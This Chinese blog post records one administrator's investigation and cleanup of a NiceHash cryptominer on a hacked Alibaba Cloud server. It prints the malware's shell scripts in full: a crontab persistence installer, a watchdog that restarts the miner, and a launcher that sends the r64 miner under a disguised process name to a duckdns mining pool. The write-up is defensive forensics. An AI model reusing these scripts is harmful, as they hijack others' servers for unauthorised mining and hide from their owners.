记一次个人服务器被nicehash挖矿,排查挖矿程序记录
一:早上起来,发现短信邮箱都收到阿里云提示,租赁的一台虚拟云服务器,异地登录,被植入挖矿程序的提示;
二:打开电脑,终端连接服务器,发现登录不进去,第一反应,远程连接密码被修改,登录阿里云控制台,修改服务器实例密码,重启服务器,重新连接服务器;
1.登录后,首先查看服务器操作日志:
很显然,是被清理了
2.查看物理内存,物理内存占用不高:
3.查看运用运行情况,发现占用 cpu 较大的应用为r64 和 java两个进程:
强制杀死两个进程,过上几秒钟,两个进程都会重启;可以确认两个进程有定时任务在启动
4.根据 top 时 java 进程号,查看文件:
此处执行下列命令:
cd /proc/6897 && ls -la
发现 进程号是 6897 的 java 文件的进程信息,文件信息
根据上图(上左) java 文件目录 /usr/local/cloudmonitor/ 找到对应的 java 文件(上右)。从文件的创建时间,知道文件是阿里云系统部分的,原有的,排除;
5.根据 top 上 r64 进程号
执行命令 cd /proc/7749 && ls -la --> 下左图
执行命令 ls -la ./fd --> 下右图
对于 由进程号的查询,得到 文件:/tmp/.../r64
6.进入 /tmp/ 执行 ll
通过查找,在 /tmp 下 没有发现 r64,想到在 步骤 5 有 exe -> /tmp/.../r64, 必定有文件 r64,就将文件 /tmp/.../r64 移到 / 下 。
将该文件移除后,杀死对应进程 kill -9 7749
执行 top 命令后 , CPU恢复正常;
考虑到 步骤 3 ,将 r64 运用的进程 kill -9 后,过了一段时间 运用又运行起来,同时查看 /etc/crontab
觉得肯定还有其他文件。
对于 /tmp/.../r64 ,切换到 /tmp 没找到文件 r64,但是 /tmp/.../r64 是存在的,就 cd /tmp/... 进入目录 /tmp/...
执行命令 ls
7、在 /tmp/... 下执行命令 cd ..
执行命令 ls -la 得到下图
对三个点不理解,查看资料:①.: 表示当前目录
②..:表示上一级目录
③... :表示当前目录下的隐藏目录,第一个 . 表示是隐藏文件的标志,第二三个点是文件名
将其下载至本地:
8.将上面的文件删除
9.对上面文件的解读:
x文件:
nohup ./a >>/dev/null & #非终端情况下运行 当前路径下的a文件,将日志抛入dve/null中,&:表示后台运行
upd:
#!/bin/sh
if test -r /tmp/.../bash.pid; then
pid=$(cat /tmp/.../bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /tmp/...
./run &>/dev/null
exit 0
fi
fi
a文件:
pwd > dir.dir #将运用的路径添加到dir.dir文件中
dir=$(cat dir.dir) #获取当前运用的路径
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d #将“* * * * * $dir/upd >/dev/null 2>&1”覆盖到cron.d文件中
crontab cron.d #声明cron.d 为定时器
crontab -l | grep upd #列出upd的定时器
echo "#!/bin/sh #将“”中的内容覆盖到upd中
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd #赋予upd可执行权限
./run &>/dev/null #运行run文件 并将所有日志抛入/dev/null中
run文件:
#!/bin/bashARCH=`uname -m` #获取服务器架构
CPU=`nproc` #获取CPU内核数量if [ "$ARCH" == "x86_64" ] && [ "$CPU" == "48" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffffffffffff -t 48 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "40" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xfffffffffff -t 40 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "32" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffffffff -t 32 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "16" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffff -t 16 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "8" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xff -t 8 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "6" ];
then ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xff -t 6 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "4" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xf -t 4 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "2" ] || [ "$CPU" == "1" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xf -t 2 >>/dev/null &
fi
echo $! > bash.pid #启动t,设置进程,启动r64. 其中:stratum+tcp 矿池协议,//miningv3.duckdns.org:9 挖矿连接 后面的看不懂
dir.dir文件
/tmp/...
cron.d文件
* * * * * /tmp/.../upd >/dev/null 2>&1
记一次个人服务器被nicehash挖矿,排查挖矿程序记录相关推荐
- 记一次Linux服务器因redis漏洞的挖矿病毒入侵
中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ...
- 【记】微信支付服务器证书更换通知的验证流程
[记]微信支付服务器证书更换通知的验证流程 原文:[记]微信支付服务器证书更换通知的验证流程 [重要]微信支付服务器证书更换通知,请开发人员验证以免影响交易 尊敬的微信支付商户&服务商: 因微 ...
- 服务器被黑客用来挖矿?怎么办?
哈喽,大家好,我是老表- 昨天下午一个朋友和我说,他的服务器被阿里云监测出来在挖矿,然后阿里云官方把服务器给关停了. 不用急,这个时候最简单的方法是在阿里云里提一个工单,反馈相关问题. 解禁服务器 要 ...
- 记一次服务器负载飙高排查过程
记一次服务器负载飙高排查过程 问题描述 在前天呢,我们公司的三台部署着php项目的线上服务器A.B.C,其中一台服务器A出现了CPU负载飙高,与其他两台服务器相差好几倍,并且在前天之前都没有出现过这么 ...
- mysql zimbra_记一次zimbra服务器故障导致mysql起不来问题
记一次zimbra服务器故障导致mysql起不来问题 记一次zimbra服务器故障导致mysql起不来问题 服务器有一天突然访问不了,局域网连接不上,去机房查看,硬盘灯亮着,屏黑的,按电源键没法关机, ...
- 记一次华为服务器装centos6.8系统
记一次华为服务器装centos6.8系统 纯文本没截图,不要问我为什么,写给自己看的,二天忘了好看= =. [直接开车!!!] 纯文本没截图,不要问我为什么,写给自己看的,二天忘了好看= =. [直接 ...
- linux服务器遭攻击,记一次linux服务器被攻击与防护
2016年5月12日14点左右接到客服通知说,"网站炸了". 打开SecureCRT,远程登录服务器,top一看负载,平均负载到了100多,要知道平时也就是2-3左右. 查看是ht ...
- 阿里云服务器---排查挖矿病毒
1.背景 记录一次排查挖矿病毒的过程,其实都是按照阿里云官方教程操作,其中有些操作命令需要重点记录下,为后面生产环境做铺垫学习. 重要:经过近一个月的努力,最终还是放弃了,杀之不尽,大家就看看它长啥样 ...
- vmware 搭建k8s无法ping通子节点_一波四折 —— 记一次K8S集群应用故障排查
一波四折--记一次K8S集群应用故障排查Part1 初露端倪 一个周四的下午,客户的报障打破了微信群的平静. "我们部署在自建K8S集群上的应用突然无法正常访问了,现在业务受到了影响!&qu ...
最新文章
- ASP.NET Menu控件子菜单弹出导致页面出现滚动条问题
- 勤于思考:从客户端中检测到有潜在危险的 Request.Form 值
- wireshark无权限
- java string转number_Java运算符知识点总结
- 如何安装Windows操作系统?(二)安装启动项杂谈
- |Tyvj|NOIP2004|堆|贪心|P1066 合并果子
- 新的一年,如何高效学习前端前沿知识~
- 什么是java cdm_Java-ORM数据库框架CDM介绍
- 视频识别车牌号(Python)
- QT+VS开发界面入门(qt界面在VS2022实现自动生成槽函数)
- 景区门票预约系统如何开发
- ODB 入门介绍(一)
- 二叉树期权定价与BSM期权定价
- 【技术】Leaflet 地图,惭愧惭愧
- HTML|下拉框和文本域、文件域
- 计算机基础在线网络课程,欢迎访问大学计算机基础网络课程
- Why Functional Programming Matters 函数式程序设计为什么至关重要
- 科研工具篇|看完之后能提高你80%的科研工作效率
- Micro LED将引领小间距显示的未来。
- 毕业论文设置图序号为图1-1,而不是图一-1,同时设置题注方便交叉引用